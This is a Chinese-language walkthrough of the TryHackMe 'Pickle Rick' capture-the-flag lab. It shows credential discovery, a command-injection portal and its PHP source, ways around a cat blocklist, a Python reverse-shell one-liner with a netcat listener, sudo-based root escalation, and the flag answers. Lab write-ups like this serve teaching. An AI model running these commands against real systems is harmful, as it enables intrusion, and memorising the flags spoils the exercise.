TryHackMe-打靶-Pickle Rick
访问->网址
F12查看源码
记录下来注释信息,Username: R1ckRul3s
可能用的上
直接开扫(扫描目录)
dirsearh -u http://xxxx
-------有用的信息-------------
[11:02:17] 200 - 2KB - /assets/
[11:02:17] 301 - 341B - /assets -> http://10-10-220-36.p.thmlabs.com/assets/
[11:02:40] 200 - 1KB - /index.html
[11:02:45] 200 - 882B - /login.php
[11:03:05] 200 - 17B - /robots.txt
访问robots.txt
,得到一串字符串,先保留着
Wubbalubbadubdub
访问login.php
使用R1ckRul3s
和密码Wubbalubbadubdub
登陆,Bingo!!!成功
跳转到portal.php
界面
是命令面板,哇酷哇酷!
试着执行ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt
再cat
文件,被ban了==> Command disabled to make it hard for future **PICKLEEEE RICCCKKKK**.
我们不止这一种读取文件的方法,tac
可以!
$ tac Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair //这就是第一题的答案
学到了一个方法:
while read line;do echo $line;done<Sup3rS3cretPickl3Ingred.txt
这是一个 Bash shell 中的命令,它从文件 "file.txt" 中逐行读取内容,并将每一行打印到屏幕上。
更具体地说,这个命令使用了 Bash shell 中的输入重定向操作符 "<",将文件 "file.txt" 的内容作为标准输入输入到一个 while 循环中。while 循环读取标准输入,每次读取一行,将其保存在变量 $line 中,并执行一个 echo 命令将这一行内容打印到屏幕上。这个循环会一直执行,直到读取完文件中的所有行。
还可以使用grep
命令
$grep -R .
grep 是一种用于在文本文件中搜索指定模式的命令行工具。选项 -R 意味着递归地搜索目录树中的所有文件,而 "." 表示匹配所有内容,即在所有文件中搜索所有文本行。
因此,命令 "grep -R ." 将在当前目录及其子目录下递归搜索所有文件,并输出包含任意文本行的文件名和行内容。这相当于搜索整个目录树,查找任何包含文本内容的文件。
查看页面源码:
portal.php
的源码
<?php
function contains($str, array $arr)
{
foreach($arr as $a) {
if (stripos($str,$a) !== false) return true;
}
return false;
}
// Cant use cat
$cmds = array("cat", "head", "more", "tail", "nano", "vim", "vi");
if(isset($_POST["command"])) {
if(contains($_POST["command"], $cmds)) {
echo "</br><p><u>Command disabled</u> to make it hard for future <b>PICKLEEEE RICCCKKKK</b>.</p><img src='assets/fail.gif'>";
} else {
$output = shell_exec($_POST["command"]);
echo "</br><pre>$output</pre>";
}
}
?>
简单的代码审计(除了知道被禁了什么,也没啥作用了)
反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.68.63",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
在攻击机中监听
$ nc -lvnp 9999
反弹成功
加固一下shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
现在是不受约束的了,可以cat
等操作
在/home/rick
分析第二题的答案
查看一下权限sudo -l
-l显示出自己(执行 sudo 的使用者)的权限
没有密码,直接切换成root用户 sudo su
成功!
在/root
目录下发现第三问的答案文件,cat一下
$cat 3rd.txt
> fleeb juice